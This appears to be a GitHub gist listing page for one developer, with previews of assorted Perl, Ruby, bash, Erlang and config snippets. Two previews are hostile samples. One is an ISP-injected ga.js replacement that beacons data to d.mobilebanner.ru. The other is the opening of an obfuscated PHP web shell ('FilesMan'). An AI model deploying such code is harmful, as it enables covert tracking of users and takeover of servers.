Skip to content

Instantly share code, notes, and snippets.

@codesnik
codesnik / empty-maxmind-db-writer.pl
Created December 27, 2015 02:48
it creates 'empty.mmdb', empty MaxMind geoip database, good enough for your tests
#!/usr/local/bin/perl
# run 'mcpan MaxMind::DB::Writer' beforehand
use MaxMind::DB::Writer::Tree;
use Net::Works::Network;
my %types = (
#color => 'utf8_string',
#dogs => [ 'array', 'utf8_string' ],
#size => 'uint16',
@codesnik
codesnik / amadeus_workflow.md
Created February 28, 2012 11:02
amadeus wokflow

SEARCH & DISPLAY

get session from pool

get customer input (departure, destination, dates, passengers count)

# search for recommendations conforming to customer input
do Fare_TravelBoardSearch
@codesnik
codesnik / permute.rb
Created July 6, 2019 18:54
find permutations
# find arrangements of numbers from 1 to 8, so that
# if they're put into matrix like this, no consequentive numbers
# would "touch" directly or diagonally.
# 0 1
# 2 3 4 5
# 6 7
next_neighbours = [[1,2,3,4], [3,4,5], [3,6], [4,6,7], [5,6,7], [7], [7]]
result = [*1..8].permutation.filter do |row|
next_neighbours.each_with_index.none? do |neighbours, current|
#!/bin/bash
#
# Requires ftxdumperfuser from http://developer.apple.com/textfonts/download/
#
# Usage: fixconsolas [files ...]
# When called with no arguments, it attempts to operate on every TrueType
# file in the current directory.
#
# References:
# http://bandes-storch.net/blog/2008/12/21/consolas-controlled/#comment-2042
@codesnik
codesnik / ga.js
Created July 23, 2018 08:00
megafon's malware ga.js replacement
! function() {
function e(e) {
var n = "",
t = "?";
for (var r in e) {
var o = e[r],
a = "boolean" == typeof o ? o ? r : null : o;
a && (n += t + "cv[]=" + encodeURIComponent(a), t = "&")
}(new Image).src = "http://d.mobilebanner.ru/p.gif" + n
}
@codesnik
codesnik / gist:82443fc1381baadd782d
Created January 7, 2015 18:29
some obusfcated php exploit, probably
$auth_pass = "2849c39abc268e58daf4ab7497e2bfa5";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@codesnik
codesnik / kpro.hrl
Last active April 13, 2017 08:02
generated code by kafka_protocol
%% generated code, do not edit!
-ifndef(kpro_hrl).
-define(kpro_hrl, true).
-include("kpro_common.hrl").
-record(kpro_packet,
{ size :: kpro:int32()
, payload :: kpro_packet_payload()
#!/usr/bin/env rspec
shared_examples "#flatten" do
it "should flatten empty array" do
expect( flatten([]) ).to eq []
end
it "should flatten single level array" do
expect( flatten([1, 2, 3]) ).to eq [1, 2, 3]
---
name: example-DIH-db
version: 1.6
uniqueKey: id
fieldTypes:
- name: alphaOnlySort
class: solr.TextField
omitNorms: true
sortMissingLast: true
analyzer:
@codesnik
codesnik / ar_opts.rb
Created September 3, 2015 07:20
using ActiveRecord::PredicateBuilder.register_handler
module AROpts
module Helpers
def GT(val); AROpts::GT.new(val); end
def LT(val); AROpts::LT.new(val); end
def GTE(val); AROpts::GTE.new(val); end
def LTE(val); AROpts::LTE.new(val); end
end
GenericOp = Struct.new(:expression)